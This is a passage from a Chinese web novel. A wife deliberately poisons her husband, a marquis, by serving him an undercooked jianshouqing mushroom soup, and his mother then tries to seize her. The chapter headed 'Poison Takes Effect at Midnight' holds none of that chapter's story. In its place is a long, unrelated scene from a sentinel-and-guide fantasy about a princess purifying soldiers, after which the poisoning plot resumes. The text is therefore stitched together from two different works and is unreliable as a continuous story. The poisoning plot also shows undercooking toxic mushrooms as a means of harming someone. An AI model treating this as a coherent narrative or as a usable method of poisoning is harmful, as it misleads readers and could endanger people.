红豆甚至将杜明月给春红改名春旺的事情也说了,杜凌风也忍不住笑得前仰后合。 很快,马车夫将马车停在了杜凌风告诉他的地点,抬头望去,果然是一片长满了各色菌子的湿地。 “到了。”杜凌风像是能闻到空气中弥漫的泥土香气一般,马车才刚刚挺稳,不等马车夫开口,他已经兴奋的掀开马车帘子。 开心的杜凌风率先从马车上跳下来,回头对杜明月和红豆兴奋的道,“杜姐姐,你们快下来,好多啊!” 迫不及待的红豆一边应着,一边急忙跳下马车,站稳后,还不忘回头朝着杜明月伸出手,“主子慢点。” 眸中满是快乐和期待的杜明月嘴角扬起好看的弧度,抓着她的手,也稳稳当当的从马车上跳了下来,望着眼前壮观的景色,不禁发出了一声感叹。 菌子当真密密麻麻长了一大片,即便它们在高大的树木旁边显得有些渺小和不起眼,但是旺盛的生命力却让杜明月叹服。 像是有什么在杜明月心中舒展开一般,她觉得自己的心灵也受到了震撼,积聚了力量,无论面对的是怎样阴暗潮湿的环境,她也要像这些菌子一样,冲破黑暗和阴霾,肆意生长。 杜明月回过神来,刚想说可以挖菌子了,就看到杜凌风和红豆早早已经行动了起来,两人蹲在地上,手上挥着小锄头,兴奋的两眼放光。 “这个可以摘,这个好大,这个也可以摘。”杜凌风说话的功夫,他身后的背篓已经扔进去十几株菌子了。 红豆在一旁时而抻着脖子看杜凌风采摘的菌子,时不时学着他的模样,低头努力的挖菌子。 “挖菌子也没什么难的嘛,这些菌子长的都一样啊,那看来这一片都是无毒的。”红豆一脸自信的挥起小锄头,加快了手中的动作,很快篮子里的菌子几乎要赶上杜凌风采的了。 杜凌风闻言,回头认真看了一下红豆眼前的这些菌子,点头道,“红豆姐姐,你这一片菌子确实都是一样的,无毒,你可以放心摘。” 红豆闻言,小锄头挥得更起劲了,但杜凌风还是不放心的叮嘱道,“只是前面的菌子长的又不一样了,红豆姐姐,你可千万别乱采,一定要先问我一下。” 第八十九章 用毒蘑菇做汤 “知道了,你放心吧。”红豆抬眼望去,只觉得自己眼前这一片已经很大了,她要采完可能也要好久呢! 红豆心里立马充满了干劲,她也想去看看其他的菌子呢! 杜明月笑意盈盈的看着低头忙碌的两人,回想着杜凌风刚才的话,心中也生出了几分想看看其他菌子的冲动。 “我去远一点的地方,看看有没有其他的菌子。”杜明月话音未落,已经迈着轻快的步子,一脸开心的朝着更远的方向走去。 脚下是松软湿润的泥土,眼前是郁郁葱葱的绿色,杜明月内心感受着许久未有过的轻盈和愉悦,提着裙摆一步一步朝前走着。 很快,她的眼前开始出现了一些五颜六色的菌子,和刚才看见的场景完全不一样。 她缓缓的蹲下身来,观察着眼前一株全是红色的菌子,又转头看向一旁深蓝色如同一把漂亮油纸伞的菌子,忍不住微微勾起了唇角。 杜明月低声喃喃自语道,“这些想来就是他们说的有毒的菌子了,越是鲜艳越是有毒。” 她抬头又看向稍远一些,但伸手就能够到的几株菌子,鹅黄色的伞盖,很是漂亮。 杜明月暗自思忖:这莫不是那有名的橙盖鹅膏菌? 就在她满心欢喜准备伸手去摘的时候,杜凌风不知道什么时候赶来,急忙伸手拦住了她的动作。 “杜姐姐,这是有毒的,确实和橙盖鹅膏菌有点像,但它不是,你看伞盖的边缘和伞柱!”杜凌风急切的说着,脸上甚至有一些慌乱和后怕。 听着杜凌风的话,杜明月再次认真仔细打量了起来,确实如他所说,状似橙盖鹅膏菌,却又不完全一样。 杜明月也倒吸了一口凉气,幸好杜凌风及时制止了自己。 不过她见杜凌风如此紧张,忍不住拍了拍他的肩膀道,“不用担心,这菌子就算真的有毒,我不小心摘下来了,也不会马上吃掉,而且就算你刚才没看到,拿回去处理的时候,你也能发现。” 杜明月的安慰却是让杜凌风的脸色缓和了一些,但他还是一脸正色道,“不是的杜姐姐,菌子种类真的很多,远比你想象的更可怕。” “有些特别毒的,就算不拿来吃,你摸一下或者闻一下也是会中毒的,还有一些是有毒性,但做熟了就完全无毒,半生不熟的毒性依然在,甚至可能要人命!” 杜凌风说完,像是想起了什么,立马摘下了一旁带着些黄棕色的菌子,拿出随手带着的短刀,将菌子一刀切开给她看。 菌子被切开的那面很快变成了青色,杜明月一愣,有些疑惑和震惊的抬头看向杜凌风。 杜凌风解释道,“这个菌子,我们常叫它见手青,生食或者半生不熟的吃下去,都是有毒的,除了致幻,还可能要人性命,但是完全煮熟以后,却是一道难得的美味。” “哇,原来这里面真的这么多学问呢。”杜明月发自内心的感叹,看向杜凌风的眼神中都充满了佩服。 被夸奖的杜凌风不好意思的挠挠头,又像是想起了什么,伸手指着眼前的一大片菌子。 “杜姐姐,这些是鸡油菌,可以吃,这些也可以,这些都是有毒的,煮熟了也有毒,都不能吃。”杜凌风耐心的一个一个点着讲过去,“这一片看着蘑菇很多,但大多数都不能吃。” 杜凌风的话杜明月都认认真真的听进去了,她点点头道,“放心吧,我都记住了。” 说着,杜明月伸手投入的采摘了起来,杜凌风在一旁瞧着,她再未出过错,这才放心的转身去采其他菌子了。 渐渐的,杜明月手中的篮子也变得沉甸甸的了,她依然十分投入的采着菌子,额头沁了一层细密的汗珠。 当她停下动作,抬手轻轻擦拭汗珠的时候,她望着眼前的见手青突然愣住了,久久的注视着,过了许久才回过神来,嘴角还露出了一抹晦暗不明的笑意。 小半天过去,杜凌风带来的竹篮和背篓全部都塞得满满当当。 红豆开心的举着小锄头,兴奋的道,“今天满载而归!太开心了!” 杜明月面带微笑,紧紧提着自己那个篮子,杜凌风不经意低头瞧见里面的蘑菇,忍不住疑惑的问道,“杜姐姐,你怎么采了这么多见手青。” 闻言,杜明月的动作微微一顿,面带微笑,眼眸幽深的缓缓解释道,“你不是说见手青做熟了很鲜吗,我也想尝尝到底多好吃。” 杜凌风见杜明月说的十分认真,也没有怀疑其他,只是不放心的继续叮嘱道,“杜姐姐,那你煮的时候,最少也要两刻钟,不然真的很危险。” 杜明月若有所思的点点头,还不忘抬头对红豆道,“红豆,凌风说的话,你记住了吗?” 突然被点名的红豆一愣,立马认真的点头道,“记住了。” 杜明月放心的点点头,拐着自己的篮子率先上了马车。 回去的路上,杜明月无心听杜凌风和红豆在说什么,反而望着这一大篮见手青陷入了沉思。 回到段府时,杜明月依然紧紧的提着自己那篮见手青,红豆要帮忙,她都躲开了。 “主子,你怎么这么宝贝你这见手青啊?”进了摘月居的院子,忍了一路的红豆终于忍不住开口问出了心中的疑惑。 杜明月抬头看了眼院子,见府中其他粗使丫鬟都不在,这才忍不住勾唇,附到红豆耳边低声道,“你马上就知道了,一会我亲自下厨给你露一手。” “嗯?”红豆听了这话更是一头雾水,黑亮的眸子都瞪圆了,还没等她再开口询问,就看到杜明月已经迈着轻快开心的步伐朝着院中的小厨房去了。 进了小厨房后,杜明月便按照杜凌风教的做法处理见手青和其他菌子,然后放在一起下锅,煮菌子汤。 锅里的菌子汤才刚刚开始沸腾,红豆就闻到了一股鲜香的味道,忍不住动了动鼻尖感叹道,“主子,真的好香。” “是很香吧。”杜明月微微勾唇,并不应答,却已经拿了盛汤的碗出来,用木勺搅了搅,便要捞出来倒进碗里。 第九十章 不值钱的首饰 “主子!”红豆察觉到她的意图,震惊的立马出生阻止。 杜明月微微勾唇,面色波澜不惊的“嘘”了一声之后,将菌子汤放到了托盘上。 “主子,您这是?”红豆就算平日再愚笨,眼下看着杜明月这接二连三让人意外的举动,也察觉到一丝不对劲了。 她这时凑近杜明月小声的问道,“您这到底是要做什么啊,奴婢愚笨,您不说明,我怕误了您的事。” 杜明月闻言,微微笑道,“你什么时候也这么心急了,也不容我卖个关子,我现在正要告诉你呢。” 说着,杜明月又凑近了几分,小声的同红豆道,“这碗不是给我们吃的,一会我会找个借口给侯爷送过去,你继续把剩下的菌子汤煮熟。” “哦!我明白了!”红豆猛地瞪大了眼睛,满眼震惊但又带着几分刺激和期待的欣喜,她用力的点着头道,“这侯爷要是吃出个好歹来,哪怕府医来了,也抓不到我们的把柄啊。” 杜明月点头,“没错,到时我自有说辞应付。” 红豆崇拜的看向杜明月,没想到她的主子竟然能想到这么厉害的损招,这一次段骆岐要是能中招,也算是出了这几日积攒在心中的恶气了。 杜明月心中也确实是这么想的。 过去,她因为爱段骆岐也曾为他洗手做羹汤,可是他既然不珍惜,那就让他尝尝这有毒的菌子汤,也算是对得起她过去的付出了。 至于毒性如何,他是生是死,就看他自己的造化了。 就在主仆二人窃窃私语的密谋,杜明月苦恼该找个什么借口送去时,院子里突然传来了一阵带着急匆匆的脚步声。 杜明月急忙抬头去看,是一个有些眼熟的,素日在住院段骆岐那边做事的丫鬟。 那丫鬟对杜明月的态度倒是还和以前一样恭敬,杜明月等着她走到跟前,只见她手中拿着一个托盘,里面都是些常见的首饰。 只是这些首饰非金非银,只是看起来精巧别致,但其实款式都是些过时的旧款,最重要的是根本不值几个钱。 杜明月注视的眸子微微眯起,心里忍不住发出一声冷笑。 原来,她在段骆岐眼中就这么廉价吗,配不上一点昂贵的首饰? 杜明月不屑,这些东西,她甩一甩钱袋子里的金屑都能买上一大把。 又或者……杜明月挑眉,难不成如今的镇南侯府已经不行了,外强中干,没钱了才会连些像样的首饰都买不起。 不管是哪一种,段骆岐送首饰的行为,杜明月都是看不上的。若往日,她定然会直接掀翻,然后讽刺一番,但今日却不行。 眼下,她正好需要一个借口接近段骆岐,而这借口自己送上门了。 这么一想,杜明月的脸上硬生生的挤出了一抹笑容,强忍着心中的嫌恶将这些首饰收了下来。 她像是要甩掉烫手山芋一般,急忙转身交到了红豆的手上,“快,去将这些首饰仔细收起来。” 杜明月给了红豆一个眼色,红豆见了,立马配合默契的接过来,立马朝外走去。 “侯爷突然送这些来,我也没什么好回赠的,正好我在亲手做菌子汤,我亲自给侯爷送一碗吧。” 杜明月故意做出一副苦恼的模样,那丫鬟明白段骆岐让她送首饰的意思,听到她这么说,立马出声附和道,“夫人,侯爷如果知道这是您亲手煮的,一定会很高兴的。” “真的?”杜明月故意显得有些为难和犹豫。 那丫鬟闻言立马点头,一脸认真道,“当然,夫人您现在就同我一起过去吧。” 杜明月闻言心中一喜,她等得就是这句话,她立马端起菌子汤,顺势而为跟上了那丫鬟的脚步。 到了主院,杜明月朝着段骆岐的屋子加快脚步走过去,到了门槛,人还没有进去,就听到了屋里传来了柳楹莹的声音。 “侯爷,川儿最近功课十分用功,通宵达旦,我让他休息都不肯,非要说要让爹爹看到他努力的样子。” 即便没有看到柳楹莹的脸,杜明月也能想象到她此刻顶着一张怎样的脸,用着什么样的神情讨好段骆岐,想要获得他的关注和青睐。 身后的丫鬟见杜明月停下了脚步,站在门口迟迟不肯进去,意识到了什么,立马干咳了两声,刻意提醒屋里的人。 果然段骆岐听到声音,一转头看到了站在门口的杜明月,脸上立马露出了一抹惊喜。 他急忙起身,刚想朝着杜明月奔来,却不料衣袖突然被人抓住了。 他一回头,看到柳楹莹正用哀戚、争宠的眼神看着自己,他的心中就升起一抹不耐烦。 他一把拉开柳楹莹的手敷衍道,“你说的事情我知道了,改日我回去看川儿的,今日你先回去吧,让他赶紧休息!不然要是再病倒了,恐怕日后就更不是读书的料了!” 柳楹莹本还想说什么挽留的话,可段骆岐最后这话一出口,她感觉自己受到了莫大的侮辱和轻视,柳楹莹一脸不敢置信,眼眸中尽是哀怨和心痛。 她的手无力的垂下,她甚至不敢再去拉段骆岐的手,生怕他接下来会说出更加伤人和羞辱人的话。 柳楹莹红了眼眶,在眼泪即将落下来时一脸羞愤冲向屋外,经过杜明月身边时,下意识的狠狠瞪了她一眼。 柳楹莹的怨气,即便她不开口,杜明月已经深刻的感受到了。 她生怕柳楹莹今日撞洒了她的菌子汤,因此态度平和的甚至主动退后了一步,侧身让柳楹莹能畅通无阻的过去。 柳楹莹似乎也对她的退让有些意外,但又不知道该说什么,只能冷哼一声,转身就用帕子捂着脸,呜呜咽咽的跑走了。 等杜明月再次抬起头来,准备迈进屋里时,只见段骆岐已经不知道何时早就跑到了她的跟前。 面对突然出现的杜明月,段骆岐一脸意外和受宠若惊的表情,他十分殷勤主动的接过了杜明月手中的托盘。 “这是什么?”段骆岐一边将菌子汤放下,一边回头期待的看向杜明月,像是生怕她不肯进来一样。 第九十一章 一口全喝掉 杜明月迟疑了一下,最终还是踏进了屋内,在段骆岐对面坐了下来。 段骆岐看到杜明月的动作也明显愣了一下,随之而来的,是眼角眉梢中呼之欲出的欣喜和激动。 “菌子汤,今日我亲自出门采的。”杜明月说话的声音淡淡的,双眸也并不去看他。 段骆岐并没有看出她目光的刻意回避,反而正沉浸在杜明月终于愿意和自己缓和关系的兴奋中。 “今日无视,我试着亲自下厨煮的,刚要喝,便看见你的丫鬟送首饰过来。”杜明月忍着心中的嫌恶和不耐烦,尽量让自己看起来一切正常,“就当做回礼,我给你送些菌子汤来。” 段骆岐此时只感觉整个人轻飘飘的,好像从杜明月从东宫出来以后,这还是他第一次这么开心。 他几乎是迫不及待的立马拿起勺子闻了起来,发自内心的赞叹道,“真香啊。吃起来一定很好吃!” 杜明月见他几乎要将勺子送到嘴边了,心中暗暗松了口气,也不想继续留在这里,便起身道,“合你的口味就好,那你在这里慢慢品尝,我先回去了。” 说着,杜明月已经迈开步子朝着大门走了过去。 然而,就在她准备抬脚迈出门槛的时候,身后突然传来了段骆岐急切的声音。 “慢着!”段骆岐话音未落,手中已是一松,瓷质汤勺发出与汤碗碰撞的清脆声。 这声音在安静的屋里突兀的响起,杜明月觉得有些刺耳,忍不住微微蹙起了眉头。 她听到段骆岐起身走向自己的声音,她有些不解的转身抬头看向他,“怎么了?” “从刚才我就很好奇……”段骆岐打量杜明月的双眸里满是质疑和谨慎,那种来自内心深处的不信任,让杜明月觉得有些可笑。 都说至亲至疏夫妻,她决定要嫁给段骆岐时,从未设想过有一日他们两人也会走到这一步,对彼此的心房都是如此严实和密不透风,让人觉得喘不过气来。 “自打你从东宫回来,都这么久了,你从未给过我好脸色,今日为何突然这样?” 段骆岐认真的看向杜明月,一边是怀疑不理解,一边又十分期待杜明月能给出肯定的答案,甚至他自己都没有注意到,他的内心深处是如此急切的想和杜明月缓和关系,重修旧好。 杜明月看了一眼他情绪复杂的眸子,却只是淡淡的移开目光,面不改色十分平静的道,“说实话,你我和离一事已经闹了很久,拖了很久了,我也不想一直这么闹下去。” “如果我们关系能够缓和自然是最好的,我希望你我都能得到想要的结果。” 杜明月意有所指,但很明显,她口中的缓和与想要的结果,和段骆岐认为的完全不是一回事。 杜明月今日是故意将话说得如此有歧义,为的,便是看到段骆岐此刻一脸开心的模样,之后又感受着幻想破灭带来的痛苦。 她暗暗将衣袖下的双手收紧,她说过,段骆岐给她的痛苦,她日后必会百倍千倍的讨回来。 既然段骆岐食言,总是拖着迟迟不肯给她和离书,那她要好好留下来折磨他一番才行,而今日这蘑菇汤,才只是个开始。 “明月!你终于想通了,真是太好了!”段骆岐说着,就激动的上前准备去抓杜明月的手。 杜明月像是早就猜到了她的动作,身形微微一闪,朝着桌上的那晚菌子走了过去,面色冷峻。 “侯爷,你与我周旋这么多,却迟迟不肯喝汤,我想我明白你的意思了。”说着,杜明月已经将那碗菌子汤端了起来,“你定是怀疑我在里面下毒,所以才迟迟不敢喝。” 杜明月故意用激将法道,“侯爷不必担心我有心害你。既然你不肯喝,那我来喝。” 说着,她作势便要将碗送到嘴边,仰头喝下,段骆岐一愣,立马着急的上前,一把将那碗菌子汤夺了过来。 他一脸懊悔,十分急切的向杜明月解释道,“你怎么能这么想,我什么时候说过我怀疑你了!” 说着,他甚至目光灼灼,信誓旦旦的道,“不要说这汤里没有毒,就算真的有毒,我也甘之如饴。” 话音未落,他已经仰头将一整碗菌子汤一饮而尽。 他重重的将汤碗放到桌上,双眸注视着杜明月,像是在向她证明,刚才他那番话都是出自真心的。 杜明月见状,眼底只是闪过一抹计谋得逞的窃喜,心中却是一声冷笑。 段骆岐还真是喜欢装深情,一直以来都是如此,他怕是真的装的自己都要信了吧。 “明月,你我好久没有氛围这么好的在一起聊天了,来,你坐下,咱们再聊一会吧。”段骆岐有些忐忑不安,兴奋紧张的看着杜明月。 杜明月眉眼依然淡淡的,她沉思了片刻,还是找了个借口道,“今日就算了吧,我小厨房做了吃的,再不回去就不好吃了。而且,我现在确实有些饿了。” “这样啊……”段骆岐一愣,脸上闪过一抹遗憾,不过一想到,他今日难得喝杜明月能和和气气的说这么久的话,他也不愿惹杜明月不高兴,立马答应道,“好,那你快回去吧。” 闻言,杜明月如释重负,转身便加快步子出了屋子,顶着一副恨不得自己没来过这里的厌恶表情,飞快的回到了自己的摘月居。 一进院子,她便看到红豆已经将小厨房的最后一道吃食放在桌上。 她坐下后招呼红豆道,“你也坐下一起吃吧。” 开心的红豆立马熟门熟路的坐下,动筷之前,还忍不住好奇的小声道,“主子,怎么样,喝了吗?” 杜明月一想到段骆岐一口气将所有的菌子都喝掉了,嘴边的笑意便忍不住浮现出来。 她用勺子轻轻搅动着已经完全煮透的菌子汤,微笑道,“喝了,今日等着看好戏吧。” 主仆两人自从用完午膳,红豆一下午就顾着竖起耳朵打听府内的消息。 但是直到太阳要落山了,她也没听到段骆岐有什么中毒的迹象,她叹口气问杜明月道,“主子,真的有用吗?会不会一碗太少了,不管用啊?” 第九十二章 夜半毒发 “兄弟,你在开玩笑吧?” 众哨兵一脸无语地看着青狮哨兵,“谁不知道皇女最是轻视咱们这些哨兵,就连SSS级哨兵她都不放在眼里,给B级哨兵净化?怎么可能!” “就是啊,你想戏弄我们,也不至于用这么白痴的办法吧?” 众哨兵纷纷怜悯地看着他,“你是不是累疯了啊,要不早点回去休息吧。” “我没开玩笑。”青狮哨兵从怀里抽出那张净化申请表,“你们看,接诊向导那一栏里,写得是皇女殿下的名字。” “这能说明啥?”众哨兵摇摇头,不屑一顾,“又不是亲笔签名,随便都能打印出来的好吧!” 见他们还不信,青狮哨兵只好用了绝招。 他抬手,一只油光水亮、体型健硕的青狮精神体便从他体内跃出,轻巧地落在地面上。 “吼——” 它朝着众哨兵狮吼了一声,声音洪亮气势十足,大部分哨兵精神体上都会缠绕着的黑雾,在它的身上却找不到一丝存在的痕迹。 这足以说明,它被净化得非常彻底。 “不信你们还可以再闻闻我的兽耳。”青狮哨兵昂首挺胸,一脸的骄傲炫耀,“是不是有一股淡淡香香的小猫味儿,那就是皇女殿下的味道!” 众哨兵们看到青狮的状态,就几乎已经相信了青狮哨兵的话,听到他说闻兽耳时,纷纷嫌弃地后退了两步。 “变不变态啊你!谁要闻你的兽耳!” “呕!我都要开始怀疑,你是不是为了能够得到皇女的净化,答应了她什么变态的要求了!” “不准污蔑皇女殿下!”青狮哨兵瞪了那出言不逊的哨兵一眼,随后一副言尽于此的表情,“总之,你们可以用光脑预约皇女殿下的净化,我已经让我朋友预约了,你们也抓点紧吧!” 他挥了挥手离开,高大的背影深藏着功与名,“别怪我没提醒你们啊,皇女殿下的预约净化只开放一段时间,先到先得!” 一听此话,众哨兵纷纷打开光脑,在预约平台上寻找谢蔷的挂号。 “我去!竟然真的有!” “上午30个号,下午50个号,足足80个号!” “不愧是S级啊,一个B级向导,一天最多也就能净化五个同级哨兵,还只能净化15%就累瘫了……” “咳,我预约上了。”一个哨兵突然道。 “这么快?兄弟你不讲武德啊?”其他哨兵赶忙要点预约,却发现,预约不上了。 “怎么回事?刚刚还有60多个名额来着,这么快就满了?” 与此同时,战区内的其他几个地方,也一起上演着类似的剧情。 “妈的,谁手速这么快啊!” “嘿嘿,我抢到了!” “我还是再观望一下吧,总感觉怪怪的,皇女怎么会突然愿意给咱们这种B级哨兵净化呢?” “没错,要不,我们过去看看情况?” 众哨兵面面相觑,随即皆是从彼此眼中看出了“同意”。 —— 谢蔷没想到那几个哨兵的宣传效果那么好,她一整天的预约号竟然全都挂满了。 她激动地坐在办公椅上,翘首以盼地望着门口,等待上门净化的哨兵。 怎料等了一个小时,都不见有人进来。 谢蔷缓缓歪了下脑袋。 怎么回事,不是都约满了吗,为什么没有人来? 小脸疑惑地转着手里的钢笔,谢蔷终是按捺不住,跳下沙发椅走向了门口。 刚打开门,就看到五颜六色的脑袋一涌而来,她吓得匆忙后退,看着哨兵们像被推倒的积木一般,纷纷跌倒在地上。 “哎哟——” “别压我!重死了!” “赶紧起开啊!” 谢蔷:…… 为什么都挤在门口不进来? 她大概知道答案,不禁心中微叹了口气,转身朝着办公区走去。 哨兵们也知道自己闯了祸,赶紧爬起来,纷纷像鹌鹑一样苦着脸低着头等着挨骂。 谢蔷拿起打印好的申请表,重新走到门口,递到了一个哨兵手里,“填完表格就可以进来接受净化了,另外……” 她随手指了一个长相可爱的哨兵,“你过来,先接受净化。” 被指到的哨兵,顿时面色一白,他求助似的看向其他哨兵,但哨兵们哪里敢在这种时候出头,纷纷低下头装作看不见。 可爱哨兵只好苦涩着脸走向谢蔷。 早知道就不过来看热闹了,这下完了,皇女肯定会摧毁他的精神海,把他变成连说话都不会的傻子。 呜呜呜,爸爸妈妈,是儿子不孝,以后不能为你们养老尽孝……诶? 头顶突然覆上一只温暖的小手,可爱哨兵讶异抬眸,就看到谢蔷努力踮着小脚,伸手摸了摸他的脑袋。 一股净化之力涌入脑袋之中,那些暴躁与烦闷的心情好似瞬间被涤荡,舒爽得可爱哨兵的白色犬耳瞬间冒了出来。 “唔……”可爱哨兵情不自禁地用犬耳蹭着谢蔷的掌心,后腰露出来的蓬松犬尾兴奋地摇晃起来,“好舒服……” 周围的一切都好像变安静迟缓了,没有纷杂刺耳的声音,也没有脏臭的汗味和铁腥的血味,有的只是头顶小手与犬耳揉捏的窸窣催眠声,还有淡淡香香的小猫味儿,夹杂着一点好闻的甜奶香。 好想吸吸…… “呼噜噜~”可爱哨兵不禁发出了舒服的嗓吟声,甚至忘了眼前为他净化的是那个残暴的皇女,将自己另一边的犬耳也凑了过去,“这边也要摸摸……” 旁边的哨兵们都看惊呆了。 兄弟,你怎么敢的?! 是打算和明天的太阳分手,永不相见了吗??? 谢蔷揉了揉他另半边的犬耳,一边摩挲着他的软毛,一边暗暗计算着…… 同样粗细的净化力,从手腕上出发和从头顶上出发,效果大不相同,显然从头顶上净化效果更快更好。 唯一的缺点就是…… 谢蔷看着快要拱进她怀里,到处吸吸蹭蹭的哨兵,无奈道,“这位哨兵,请不要乱动。” 缺点就是容易丧失人类的思考能力,跟小动物似的黏黏呼呼,恨不得黏在她的身上。 还有,是这位哨兵的特殊爱好吗,她都已经松开手了,为什么还要埋进她的小腹里吸她? 她又不是猫咪! 谢蔷伸手将可爱哨兵的犬耳拎起来,中气十足地喊道,“这位哨兵醒醒,净化结束了!” 可爱哨兵猛地清醒过来。 意识到自己都干了什么,他全身瞬间吓出了冷汗,急忙半跪在地上。 原本兴奋抖动的白色犬耳,此刻萎靡不振地耷拉在头顶上,他声音微微颤抖,“皇女殿下,我不是故意的……” 他也不知道怎么回事,突然间就什么都忘了,只想埋在谢蔷身上吸吸蹭蹭,哪怕被她挠伤也在所不惜。 可爱哨兵紧闭着眸,感觉自己大概真的要跟太阳小姐说分手了。 怎料,头顶的犬耳再度被摸了摸。 那力道十分温柔,可爱哨兵不禁茫然抬头,便看到漂亮尊贵的女孩,朝他微微一笑,“没关系,是我不太熟练,希望下次为你治疗的时候,我能把控好力度,不至于让你失控。” 可爱哨兵看呆了。 周围的哨兵们也瞠目结舌,难以置信眼前所看到的画面。 说好的残暴变态呢? 眼前这个可爱温柔又善良体贴的向导又是谁??? 第九十三章 是我吃错了东西 “若这丫鬟说得属实,那侯爷应该便是吃了有毒的菌子。” 太医一边拿出帕子擦了擦额头的汗,一边有些为难道,“只是毒菌种类繁多,对应症状也不一而足,虽可用药,但也只能缓解,无法保证一定能解毒。” 段老夫人一听,抓着床沿的手都颤抖了起来,她惊恐的问道,“什么?难道你的意思是要让侯爷听天由命吗?” 太医叹口气道,“因毒用菌中毒,天下尚未有解药能根治,但侯爷毕竟常年带兵,身强体壮,底子好应该没有大碍。” 听着太医的安慰,段老夫人稍微放心了一些,她抚着胸口长长的舒了一口气,这才让自己能继续保持清醒,没有晕过去。 “那我先去给侯爷开方子抓药。”太医一拱手,在段老夫人道谢后,缓缓转身出了门。 太医一走,段老夫人一直维持的体面立马被撕碎,她咬牙切齿的道,“这个杜氏,她一定对我们段家不满,怀恨在心,所以想要暗害老大,只怕要是让她如愿,接下来就是霖儿了!” “不行!我今日必须把杜氏绑来,就地打死!替段家除了这个祸害!” 段老夫人甚至已经在吩咐眼前的几个家丁一会如何用刑了,只等杜明月一道,一定让她痛苦求饶,血溅当场! 不一会,刚才被派出去绑杜明月的几个家丁垂头丧气的回来,一进屋,便直接在段老夫人面前跪下了。 “你们这是做什么?”段老夫人一愣,急忙抬头去看,却并没有看到杜明月的影子。 “我不是让你们去绑杜氏了吗?人呢!怎么只有你们回来!”段老夫人言语中满是疑问,不耐烦的呵斥道,“快说!” 为首的家丁只能战战兢兢的将事情经过说了,段老夫人一听杜明月竟然早有准备,将自己的院子封得严严实实,一个人都闯不进去时,更加认定给段骆岐下毒之事她就是故意为之。 “好啊,这个杜氏果然其心可诛,竟然还知道早早把院子封起来!”段老夫人气的差点要昏过去,还好一旁贴身照顾的嬷嬷扶住了她。 段老夫人堪堪站定,眸子闪烁着深恶痛绝的光芒。 “好,我就不信杜氏能永远不出门,我只管等着!” 段老夫人说着,一指跟前跪着的几个人道,“你们从现在开始,就去摘月居各个院门守着!只要她杜氏敢迈出院门,你们立马给我绑了来!” 跪在地上的家丁们彼此看了一眼,面露难色,其实今日摘月居各院门都封上了,对他们来说是件好事,他们正好可以用此事做借口。 可若是他们正面碰到杜明月出门,那时叫他们绑人才真是难为他们,不为别的,只因杜明月身边可一直跟了个会武功的小丫鬟红豆。 那红豆的本事早就在府里传开了,前有痛打段骆霖,后有和段骆岐交手都能不落于下风,这样的高手,哪里是他们这种只会舞枪弄棒的家丁们能比的。 纵使这些家丁们心中有百般为难,却也明白神仙打架凡人遭殃的道理,只能一边接下段老夫人的吩咐,一边期待着这件事能有所转机。 这夜,镇南侯府几乎是风声鹤唳,稍有一点风吹草动,便能闹得府里人心惶惶的,唯有摘月居这一处十分安稳,杜明月和红豆安心的一觉睡到大天亮。 而在她们醒来之前,段骆岐醒的更早。 段骆岐受了一夜的折磨,迷迷糊糊的一整晚,几乎不像是睡觉,更像是昏迷,他能感觉到自己夜里迷迷糊糊的喝了药,还有吵吵闹闹的声音时不时的在屋子里响起。 天还未亮,他便缓缓的睁开了眸子,恢复了一些神志。 他捂着头痛欲裂的脑袋唤了一声,立马有丫鬟和小厮进来。 下人们一边给他端水洗漱,一边将昨晚的情况尽数说给他听。 虚弱的段骆岐浑身无力,拿着帕子的手都有点不受控制的抖着,可当听到众人说段老夫人要名人捉拿杜明月时,猛地将帕子一扔,瞪大了眼睛。 “是哪个混账信口雌黄!竟敢污蔑是夫人害我!”他内心急切的一伸手,随便指了个丫鬟便哑着嗓子道,“去把老夫人叫来!我有话要说!” 那丫鬟才领了吩咐离开,段骆岐又撑着病弱的身躯转头对另一丫鬟道,“趁着天色还未亮,你马上去把那些家丁叫回来!不准守在摘月居!也不准听老夫人的话去绑人!” “谁要是敢不听我的吩咐,我一定家法处置!”段骆岐像是生怕简单的传话,那些家丁们还会分不清轻重,就又补充了一句。 等到屋里的丫鬟仆从们都离开了,段骆岐撑着床沿,重重的咳嗽了几声。 一阵忽然而来的晕眩感,让他缓缓将眼睛闭上,许久才终于睁开了眼睛。 明月,真的是你故意毒害于我吗? 不,不,一定不是这样的,她昨日才来同我示好,这件事一定不是她故意为之。 段骆岐暗暗攥紧了双手,心里已经下定了决心:即便他真是因为昨日的菌子汤中毒,那也一定不是杜明月的本意,这一次他一定会相信杜明月,护她周全。 他正想着,门外传来了急匆匆的脚步声,他一抬头,便看到段老夫人一脸担心的朝着他走了过来。 “老大啊!你可终于醒了!吓死我!”段老夫人一来,便紧紧的握住了段骆岐的手,段骆岐心中触动,觉得十分温暖。 他反手握住段老夫人的手,一脸认真的道,“母亲,我已经没事了,真的没事了。” “没事就好。”段老夫人欣慰的点点头,犹如心中的一块石头落了地,“你放心,我一定好好替你惩治杜氏那个贱人!我已经什么都知道了!你安心将养身体,打死杜氏的事情我来!” “母亲!”震惊的段骆岐急忙大喊,声音大的吓了段老夫人一跳,也跟着睁大了眼睛。 “母亲,我正要同你说这件事,我中毒不是明月害的。” 段骆岐像是生怕段老夫人不信一般,找借口辩解道,“是我自己吃错东西了,昨日的菌子汤很好喝,我吃了也没有任何中毒的反应,一定是后来,我在外又吃了什么不干净的东西。” 第九十四章 你在包庇她吗 段老夫人皱眉愣愣的看了段骆岐许久,像是对他对杜明月的态度感到震惊。 “老大,你现在,是在包庇她吗?”段老夫人一脸不敢置信的摇摇头,“你别忘了,她自东宫出来以后,她便恨上了我们段家,她要和你和离!她要我们死啊!” “不!不是这样的!”段骆岐下意识的大声反驳,也不顾自己眼下身体虚弱随时都会晕倒,他痛心的摇头道,“明月她最是善良亲厚,她不会真的恨上我们的!” “昨日她好不容易主动来找我示好!这说明她已经消气了!” 说起这些,段骆岐心中升起一抹自己都未曾察觉的踏实和开心,“只要我好好弥补她,那她一定能原谅我过去所有的错事,我们就能重新开始!” “重新开始!”段老夫人万万没想到,往日最是孝顺自己的段骆岐竟会为了杜明月和自己起争执。 “你和她要怎么重新开始!你看看你现在像什么样子,竟然为了她那样一个上不得台面的商户女,现在就要忤逆自己的母亲吗!” 段老夫人气的一甩手,站起身来,居高临下的看着段骆岐,恶狠狠道,“我不允许!你们必须要和离!” 说完,她也不等段骆岐开口说什么,转身气冲冲的离开了屋子。 出了主院,段老夫人还愤愤不平,她咬牙切齿的对身旁的嬷嬷道,“这个杜氏到底又用了什么狐媚子的手法,将老大哄得团团转!不行!不能再等了,我得赶紧想办法把她赶出去!” 且说段老夫人被段骆岐气跑了以后,段骆岐一心只想知道杜明月的情况如何,便又让丫鬟去摘月居送信。 